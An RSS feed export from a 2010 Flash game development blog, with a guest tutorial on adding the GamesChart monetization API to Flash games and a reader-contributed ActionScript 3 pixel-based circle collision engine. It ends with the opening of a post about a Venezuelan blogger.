<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Emanuele Feronato &#187; Users contributions</title>
	<atom:link href="http://www.emanueleferonato.com/category/users-contributions/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.emanueleferonato.com</link>
	<description>italian geek and PROgrammer</description>
	<lastBuildDate>Tue, 16 Mar 2010 15:55:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Monetize your Flash games with GamesChart</title>
		<link>http://www.emanueleferonato.com/2010/02/23/monetize-your-flash-games-with-gameschart/</link>
		<comments>http://www.emanueleferonato.com/2010/02/23/monetize-your-flash-games-with-gameschart/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 22:23:00 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Game design]]></category>
		<category><![CDATA[Monetize]]></category>
		<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2403</guid>
		<description><![CDATA[Do you remember Emanuele Ornella from Mind the Move? It&#8217;s the guy behind the Come2Play multiplayer API tutorial posted about a month ago.
Now he is explaining us a new way to monetize Flash games: GamesChart
&#171; When I first saw the announcement on Flash Game Developers group on www.linkedIn.com about the GamesChart beta program I immediately [...]]]></description>
			<content:encoded><![CDATA[<p>Do you remember <strong>Emanuele Ornella</strong> from <a target = "_blank" href="http://www.mindthemove.com/">Mind the Move</a>? It&#8217;s the guy behind the <a href="http://www.emanueleferonato.com/2010/01/14/come2play-multiplayer-api-tutorial/">Come2Play multiplayer API tutorial</a> posted about a month ago.</p>
<p>Now he is explaining us a new way to monetize Flash games: <strong><a href="http://gameschart.com/" target = "_blank">GamesChart</a></strong></p>
<p>&laquo; When I first saw the announcement on <a href="http://www.linkedin.com/groups?home=&#038;gid=121017" target = "_blank">Flash Game Developers group</a> on www.linkedIn.com about the <strong><a href="http://gameschart.com/" target = "_blank">GamesChart</a></strong> beta program I immediately thought to participate. It was a surprise to me to find that my game <a href="http://gameschart.com/games/Haunted-House" target = "_blank">Haunted House</a> was at first position for the entire 4 weeks of the beta program!</p>
<p>Actually also my <a href="http://gameschart.com/games/Alice-Memory-1" target = "_blank">Alice Memory</a> game is also on the chart, even if never more than in the 6th position.</p>
<p><img src="/wp-content/uploads/2010/02/gc01.jpg" /></p>
<p>What <strong><a href="http://gameschart.com/" target = "_blank">GamesChart</a></strong> is about?</p>
<p>It’s another way to generate money from you Flash games. The nice thing is that it is not an alternative to the traditional banner you place during the loading of the game. But it goes together.<br />
The main idea is to have publisher to “bid” for which game will be in the chart and this will generate extra revenue to the developer, to the publisher who correctly bid and of course to the GamesChart organization.</p>
<p>This is from <strong>Barry White</strong> directly from linkedIn group.<span id="more-2403"></span></p>
<p>I thought I&#8217;d include some more information about how GamesChart can earn developers money:</p>
<p>+ Every game that has the GamesChart API embedded in it is tracked by GamesChart.</p>
<p>+ The developer can also choose to enable or disable a series of dynamic charts that actually display within the Flash game itself.</p>
<p>+ The most popular games each week make their way to the top of the charts.</p>
<p>+ Any gamers who click on a game listed in these charts is taken to play that game on another portal.</p>
<p>+ Publishers use an advanced pay per click bidding system to purchase this traffic and drive users back to their own sites to play the games they have bid on.</p>
<p>+ Games need to be uploaded to the Publishers portal before they can receive traffic. (great for seeding)</p>
<p>+ Developers receive up to a 50% revenue share of any outbound clicks generated from within their game should they choose to display the charts. (also full blacklisting available)</p>
<p>+ Publishers also receive 10% of total revenues generated from any GamesChart enabled games featured on their site.</p>
<p>I am going to explain the very easy steps to follow to have a game added to this GamesChart.</p>
<p>In order to do so I am going to provide my other game <a href="http://gameschart.com/games/Tokyo-Train" target = "_blank">Tokyo Train</a> with this service as well.</p>
<p>First thing you need to register as developer, if you don’t already. This is quite easy to do, just follow instruction on the site.</p>
<p>You then are prompted to add a game:</p>
<p><img src="/wp-content/uploads/2010/02/gc02.jpg" /></p>
<p>So do not hesitate: go to click the button and create the new game:</p>
<p><img src="/wp-content/uploads/2010/02/gc03.jpg" /></p>
<p>Instructions are easy and nice to follow: I have to admit they did a very good job on make your job easy.</p>
<p><img src="/wp-content/uploads/2010/02/gc04.jpg" /></p>
<p>You are now prompted with the game id that you need to put on the component property to have your game identified.<br />
Of course first of all you need to download the API library from the <a href="http://wiki.gameschart.com/index.php/Getting_Started" target = "_blank">“GamesChart Wiki” link</a>.</p>
<p>You have the choice to get the component for Adobe Flash IDE or the complete API if you use FlashDevelop and for both choices you can choose between AS3 and AS2. My choice was for the component and AS3.</p>
<p>The very first time you download the zip pack, you need to double click on the GamesChartAPI-AS3.mpx:</p>
<p><img src="/wp-content/uploads/2010/02/gc05.jpg" /></p>
<p>This will install the component, and that’s the only thing you really need to install: brilliant.</p>
<p>Now open your FLA and browse for the components (Windows > Components menu): you will find the GamesChartAPI one.</p>
<p><img src="/wp-content/uploads/2010/02/gc06.jpg" /></p>
<p>Now, again it’s easy: drag and drop the component onto the stage (better if at the top layer):</p>
<p><img src="/wp-content/uploads/2010/02/gc07.jpg" /></p>
<p>Do not worry about the position: it will be hidden once the game starts. Do you remember the game id? Go to grab it and paste it in the component inspector:</p>
<p><img src="/wp-content/uploads/2010/02/gc08.jpg" /></p>
<p>That’s all! You can now publish the game: you will notice a small G icon on top right of the stage.</p>
<p>You can force to have this cute icon can be hidden or display when you want. Or you can also move it.</p>
<p>I would suggest you to leave it for the entire game and in that position: it’s the best position, just adjust your buttons if you have any conflict.</p>
<p>In this way a player can click on the icon anytime during the game. This will let him vote your game and show chart. In fact when the icon is clicked the chart will appear and will let you open a new window with the games on the list.</p>
<p><img src="/wp-content/uploads/2010/02/gc09.jpg" /></p>
<p>You need one more thing: to publish the game. You can get your SWF file or you can first upload on MochiAds with version control as I am doing. This is the best solution because your game will be updated all over the world with the cute G icon.<br />
That’s all!<br />
Enjoy!</p>
<p>PS.: I just discovered that Haunted House is no more on first position! So let’s go there and click the cute “G” icon!! &raquo;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/02/23/monetize-your-flash-games-with-gameschart/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Flash AS3 Pixel based circle collision engine</title>
		<link>http://www.emanueleferonato.com/2010/02/13/flash-as3-pixel-based-circle-collision-engine/</link>
		<comments>http://www.emanueleferonato.com/2010/02/13/flash-as3-pixel-based-circle-collision-engine/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 23:37:07 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Game design]]></category>
		<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2368</guid>
		<description><![CDATA[After seeing the Lineball video teaser I got some email asking me how did I make the hollow circle with Box2D, and how to get a smooth drawing using box primitives.
Well, I have to say I didn&#8217;t use Box2d, but another library called Collision Detection Kit.
I&#8217;ll publish some tutorial about it once I&#8217;ll complete the [...]]]></description>
			<content:encoded><![CDATA[<p>After seeing the <a href="http://www.emanueleferonato.com/2010/02/11/lineball-video-teaser/">Lineball video teaser</a> I got some email asking me how did I make the hollow circle with Box2D, and how to get a smooth drawing using box primitives.</p>
<p>Well, I have to say I didn&#8217;t use Box2d, but another library called <a href="http://www.coreyoneil.com/portfolio/index.php?project=5" target = "_blank">Collision Detection Kit</a>.</p>
<p>I&#8217;ll publish some tutorial about it once I&#8217;ll complete the game, but it&#8217;s not the point of today&#8217;s post.</p>
<p>A reader from Argentina, <strong>Adolfo Chacon</strong>, sent me an AS3 basic engine to do the same thing (maybe even better) using the concepts I explained soooooo long ago in the <a href="http://www.emanueleferonato.com/2007/01/08/create-a-flash-draw-game-like-line-rider-or-others-part-1/">Create a flash draw game like Line Rider or others</a> series.</p>
<p>It&#8217;s a basic, uncommented script because it&#8217;s just a prototype&#8230; basically Adolfo took my old script, adjusted trigonometry and did the magic dividing the simulation in steps to manage slower speeds.</p>
<p>I resized it, changed variable names (translating from spanish) and some operators since the auto format option gave me errors when trying to format <code>a&lt;-b</code>, forcing me to change into <code>a&lt;b*-1</code>.</p>
<p>Now enjoy the script<span id="more-2368"></span></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #9900cc; font-weight: bold;">package</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #0033ff; font-weight: bold;">import</span> <span style="color: #004993;">flash.display</span>.<span style="color: #004993;">Sprite</span>;
	<span style="color: #0033ff; font-weight: bold;">import</span> <span style="color: #004993;">flash.events</span>.<span style="color: #004993;">Event</span>;
	<span style="color: #0033ff; font-weight: bold;">import</span> <span style="color: #004993;">flash.events</span>.<span style="color: #004993;">MouseEvent</span>;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> pixel_engine extends <span style="color: #004993;">Sprite</span> <span style="color: #000000;">&#123;</span>
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> ball_radius<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> precision<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span>=<span style="color: #000000; font-weight:bold;">120</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> degrees_to_radians<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #000000; font-weight:bold;">0.0174532925</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> x_speed<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #000000; font-weight:bold;">0</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> y_speed<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #000000; font-weight:bold;">0</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> friction<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #000000; font-weight:bold;">0.9</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> max_speed<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span>=<span style="color: #000000; font-weight:bold;">15</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> gravity<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #000000; font-weight:bold;">0.98</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> steps=<span style="color: #000000; font-weight:bold;">2</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> ball<span style="color: #000000; font-weight: bold;">:</span>ball_mc = <span style="color: #0033ff; font-weight: bold;">new</span> ball_mc<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> terrain<span style="color: #000000; font-weight: bold;">:</span>terrain_mc = <span style="color: #0033ff; font-weight: bold;">new</span> terrain_mc<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> pixel_engine<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
			<span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span>ball<span style="color: #000000;">&#41;</span>;
			ball.<span style="color: #004993;">x</span>=<span style="color: #000000; font-weight:bold;">250</span>;
			ball_radius=ball.<span style="color: #004993;">width</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000; font-weight:bold;">2</span>;
			<span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span>terrain<span style="color: #000000;">&#41;</span>;
			<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">Event</span>.<span style="color: #004993;">ENTER_FRAME</span>, update<span style="color: #000000;">&#41;</span>;
			<span style="color: #004993;">stage</span>.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">MouseEvent</span>.<span style="color: #004993;">MOUSE_DOWN</span>, reverse_gravity<span style="color: #000000;">&#41;</span>;
		<span style="color: #000000;">&#125;</span>
		<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #339966; font-weight: bold;">function</span> reverse_gravity<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MouseEvent</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
			gravity<span style="color: #000000; font-weight: bold;">*</span>=<span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span>;
		<span style="color: #000000;">&#125;</span>
		<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> update<span style="color: #000000;">&#40;</span>e <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #004993;">Event</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> <span style="color: #000000;">&#123;</span>
			<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>ball.y<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000; font-weight:bold;">400</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
				ball.y<span style="color: #000000; font-weight: bold;">-</span>=<span style="color: #000000; font-weight:bold;">400</span>;
			<span style="color: #000000;">&#125;</span>
			<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>ball.y<span style="color: #000000; font-weight: bold;">&lt;</span><span style="color: #000000; font-weight:bold;">0</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
				ball.<span style="color: #004993;">y</span><span style="color: #000000; font-weight: bold;">+</span>=<span style="color: #000000; font-weight:bold;">400</span>;
			<span style="color: #000000;">&#125;</span>
			<span style="color: #0033ff; font-weight: bold;">for</span> <span style="color: #000000;">&#40;</span><span style="color: #6699cc; font-weight: bold;">var</span> j<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span> = <span style="color: #000000; font-weight:bold;">1</span>; j<span style="color: #000000; font-weight: bold;">&lt;</span>=steps; j<span style="color: #000000; font-weight: bold;">++</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
				<span style="color: #6699cc; font-weight: bold;">var</span> number_of_collisions<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span>=<span style="color: #000000; font-weight:bold;">0</span>;
				<span style="color: #6699cc; font-weight: bold;">var</span> sum_x_collision<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #000000; font-weight:bold;">0</span>;
				<span style="color: #6699cc; font-weight: bold;">var</span> sum_y_collision<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #000000; font-weight:bold;">0</span>;
				<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>x_speed<span style="color: #000000; font-weight: bold;">&gt;</span>max_speed<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
					x_speed=max_speed;
				<span style="color: #000000;">&#125;</span> <span style="color: #0033ff; font-weight: bold;">else</span> <span style="color: #000000;">&#123;</span>
					<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>x_speed<span style="color: #000000; font-weight: bold;">&lt;</span>max_speed<span style="color: #000000; font-weight: bold;">*-</span><span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
						x_speed=<span style="color: #000000; font-weight: bold;">-</span> max_speed;
					<span style="color: #000000;">&#125;</span>
				<span style="color: #000000;">&#125;</span>
				<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>y_speed<span style="color: #000000; font-weight: bold;">&gt;</span>max_speed<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
					y_speed=max_speed;
				<span style="color: #000000;">&#125;</span> <span style="color: #0033ff; font-weight: bold;">else</span> <span style="color: #000000;">&#123;</span>
					<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>y_speed<span style="color: #000000; font-weight: bold;">&lt;</span>max_speed<span style="color: #000000; font-weight: bold;">*-</span><span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
						y_speed=<span style="color: #000000; font-weight: bold;">-</span> max_speed;
					<span style="color: #000000;">&#125;</span>
				<span style="color: #000000;">&#125;</span>
				ball.<span style="color: #004993;">x</span>=ball.<span style="color: #004993;">x</span><span style="color: #000000; font-weight: bold;">+</span>x_speed<span style="color: #000000; font-weight: bold;">/</span>steps;
				ball.<span style="color: #004993;">y</span>=ball.<span style="color: #004993;">y</span><span style="color: #000000; font-weight: bold;">+</span>y_speed<span style="color: #000000; font-weight: bold;">/</span>steps;
				y_speed=y_speed<span style="color: #000000; font-weight: bold;">+</span>gravity<span style="color: #000000; font-weight: bold;">/</span>steps;
				<span style="color: #0033ff; font-weight: bold;">for</span> <span style="color: #000000;">&#40;</span><span style="color: #6699cc; font-weight: bold;">var</span> i<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span>=<span style="color: #000000; font-weight:bold;">1</span>; i<span style="color: #000000; font-weight: bold;">&lt;</span>=precision; i<span style="color: #000000; font-weight: bold;">++</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
					<span style="color: #6699cc; font-weight: bold;">var</span> x_test<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=ball.<span style="color: #004993;">x</span><span style="color: #000000; font-weight: bold;">+</span>ball_radius<span style="color: #000000; font-weight: bold;">*</span><span style="color: #004993;">Math</span>.<span style="color: #004993;">sin</span><span style="color: #000000;">&#40;</span>i<span style="color: #000000; font-weight: bold;">*</span><span style="color: #000000; font-weight:bold;">360</span><span style="color: #000000; font-weight: bold;">/</span>precision<span style="color: #000000; font-weight: bold;">*</span>degrees_to_radians<span style="color: #000000;">&#41;</span>;
					<span style="color: #6699cc; font-weight: bold;">var</span> y_test<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=ball.y<span style="color: #000000; font-weight: bold;">-</span>ball_radius<span style="color: #000000; font-weight: bold;">*</span><span style="color: #004993;">Math</span>.<span style="color: #004993;">cos</span><span style="color: #000000;">&#40;</span>i<span style="color: #000000; font-weight: bold;">*</span><span style="color: #000000; font-weight:bold;">360</span><span style="color: #000000; font-weight: bold;">/</span>precision<span style="color: #000000; font-weight: bold;">*</span>degrees_to_radians<span style="color: #000000;">&#41;</span>;
					<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>terrain.<span style="color: #004993;">hitTestPoint</span><span style="color: #000000;">&#40;</span>x_test,y_test,<span style="color: #0033ff; font-weight: bold;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
						number_of_collisions<span style="color: #000000; font-weight: bold;">++</span>;
						sum_x_collision=sum_x_collision<span style="color: #000000; font-weight: bold;">+</span>x_test;
						sum_y_collision=sum_y_collision<span style="color: #000000; font-weight: bold;">+</span>y_test;
					<span style="color: #000000;">&#125;</span>
				<span style="color: #000000;">&#125;</span>
				<span style="color: #6699cc; font-weight: bold;">var</span> average_x<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=sum_x_collision<span style="color: #000000; font-weight: bold;">/</span>number_of_collisions;
				<span style="color: #6699cc; font-weight: bold;">var</span> average_y<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=sum_y_collision<span style="color: #000000; font-weight: bold;">/</span>number_of_collisions;
				<span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>number_of_collisions<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000; font-weight:bold;">0</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
					<span style="color: #6699cc; font-weight: bold;">var</span> collision_angle<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #004993;">Math</span>.<span style="color: #004993;">atan2</span><span style="color: #000000;">&#40;</span>ball.x<span style="color: #000000; font-weight: bold;">-</span>average_x,ball.y<span style="color: #000000; font-weight: bold;">-</span>average_y<span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>degrees_to_radians<span style="color: #000000; font-weight: bold;">*-</span><span style="color: #000000; font-weight:bold;">1</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #000000; font-weight:bold;">90</span>;
					<span style="color: #6699cc; font-weight: bold;">var</span> collision_x<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = ball.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">-</span> ball_radius <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #004993;">Math</span>.<span style="color: #004993;">sin</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span>collision_angle <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">90</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">*</span> degrees_to_radians<span style="color: #000000;">&#41;</span>;
					<span style="color: #6699cc; font-weight: bold;">var</span> collision_y<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = ball.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">+</span> ball_radius <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #004993;">Math</span>.<span style="color: #004993;">cos</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span>collision_angle <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">90</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">*</span> degrees_to_radians<span style="color: #000000;">&#41;</span>;
					<span style="color: #6699cc; font-weight: bold;">var</span> delta_x<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = <span style="color: #000000;">&#40;</span>collision_x <span style="color: #000000; font-weight: bold;">-</span> ball.<span style="color: #004993;">x</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">/</span> ball_radius <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span>;
					<span style="color: #6699cc; font-weight: bold;">var</span> delta_y<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = <span style="color: #000000;">&#40;</span>collision_y <span style="color: #000000; font-weight: bold;">-</span> ball.<span style="color: #004993;">y</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">/</span> ball_radius <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span>;
					<span style="color: #6699cc; font-weight: bold;">var</span> speed<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #004993;">Math</span>.<span style="color: #004993;">sqrt</span><span style="color: #000000;">&#40;</span>x_speed<span style="color: #000000; font-weight: bold;">*</span>x_speed<span style="color: #000000; font-weight: bold;">+</span>y_speed<span style="color: #000000; font-weight: bold;">*</span>y_speed<span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">*</span>friction;
					<span style="color: #6699cc; font-weight: bold;">var</span> bounce<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #004993;">Math</span>.<span style="color: #004993;">atan2</span><span style="color: #000000;">&#40;</span>x_speed,y_speed<span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">/</span>degrees_to_radians<span style="color: #000000; font-weight: bold;">*-</span><span style="color: #000000; font-weight:bold;">1</span>;
					<span style="color: #6699cc; font-weight: bold;">var</span> ricochet<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>=<span style="color: #000000; font-weight:bold;">2</span><span style="color: #000000; font-weight: bold;">*</span>collision_angle<span style="color: #000000; font-weight: bold;">-</span>bounce<span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">180</span>;
					x_speed=<span style="color: #004993;">Math</span>.<span style="color: #004993;">sin</span><span style="color: #000000;">&#40;</span>ricochet<span style="color: #000000; font-weight: bold;">*</span>degrees_to_radians<span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">*</span>speed;
					y_speed=<span style="color: #000000; font-weight: bold;">-</span> <span style="color: #004993;">Math</span>.<span style="color: #004993;">cos</span><span style="color: #000000;">&#40;</span>ricochet<span style="color: #000000; font-weight: bold;">*</span>degrees_to_radians<span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">*</span>speed;
					<span style="color: #0033ff; font-weight: bold;">while</span> <span style="color: #000000;">&#40;</span>terrain.<span style="color: #004993;">hitTestPoint</span><span style="color: #000000;">&#40;</span>collision_x, collision_y,<span style="color: #0033ff; font-weight: bold;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
						ball.<span style="color: #004993;">x</span>=ball.<span style="color: #004993;">x</span><span style="color: #000000; font-weight: bold;">+</span>delta_x;
						ball.<span style="color: #004993;">y</span>=ball.<span style="color: #004993;">y</span><span style="color: #000000; font-weight: bold;">+</span>delta_y;
						collision_x=ball.x<span style="color: #000000; font-weight: bold;">-</span>delta_x<span style="color: #000000; font-weight: bold;">*</span>ball_radius;
						collision_y=ball.y<span style="color: #000000; font-weight: bold;">-</span>delta_y<span style="color: #000000; font-weight: bold;">*</span>ball_radius;
					<span style="color: #000000;">&#125;</span>
				<span style="color: #000000;">&#125;</span>
			<span style="color: #000000;">&#125;</span>
		<span style="color: #000000;">&#125;</span>
	<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>And play with the result&#8230; just watch the simulation and press left mouse button to reverse gravity.</p>
<p><embed src="/wp-content/uploads/2010/02/pixel_engine.as_.swf" allowscriptaccess="always" menu="false" quality="high" width="500" height="400" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></p>
<p><a href="/wp-content/uploads/2010/02/pixel_engine.as_.zip">Download the source code</a>. Who said draw games are dead?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2010/02/13/flash-as3-pixel-based-circle-collision-engine/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Being a geek in Venezuela</title>
		<link>http://www.emanueleferonato.com/2010/02/03/being-a-geek-in-venezuela/</link>
		<comments>http://www.emanueleferonato.com/2010/02/03/being-a-geek-in-venezuela/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 09:47:47 +0000</pubDate>
		<dc:creator>Emanuele Feronato</dc:creator>
				<category><![CDATA[Monetize]]></category>
		<category><![CDATA[PROgramming]]></category>
		<category><![CDATA[Users contributions]]></category>

		<guid isPermaLink="false">http://www.emanueleferonato.com/?p=2317</guid>
		<description><![CDATA[Yesterday I bought a MacBook on the Apple Store using some of the income generated by this blog. Do you know why I could do this? Because I am a geek, and because I live in Italy.
If I lived in Venezuela, things could have been quite different. This is the story of John Freddy Vega, [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I bought a MacBook on the Apple Store using some of the income generated by this blog. Do you know why I could do this? Because I am a geek, and because I live in Italy.</p>
<p>If I lived in Venezuela, things could have been quite different. This is the story of <strong>John Freddy Vega</strong>, a blogger and geek from Venezuela.</p>
<p>He runs <a href="http://www.cristalab.com/" target = "_blank"><strong>Cristalab</strong></a>, a blog full of AS3 and PHP tips, just like mine. But it&#8217;s not as easy as it seems.</p>
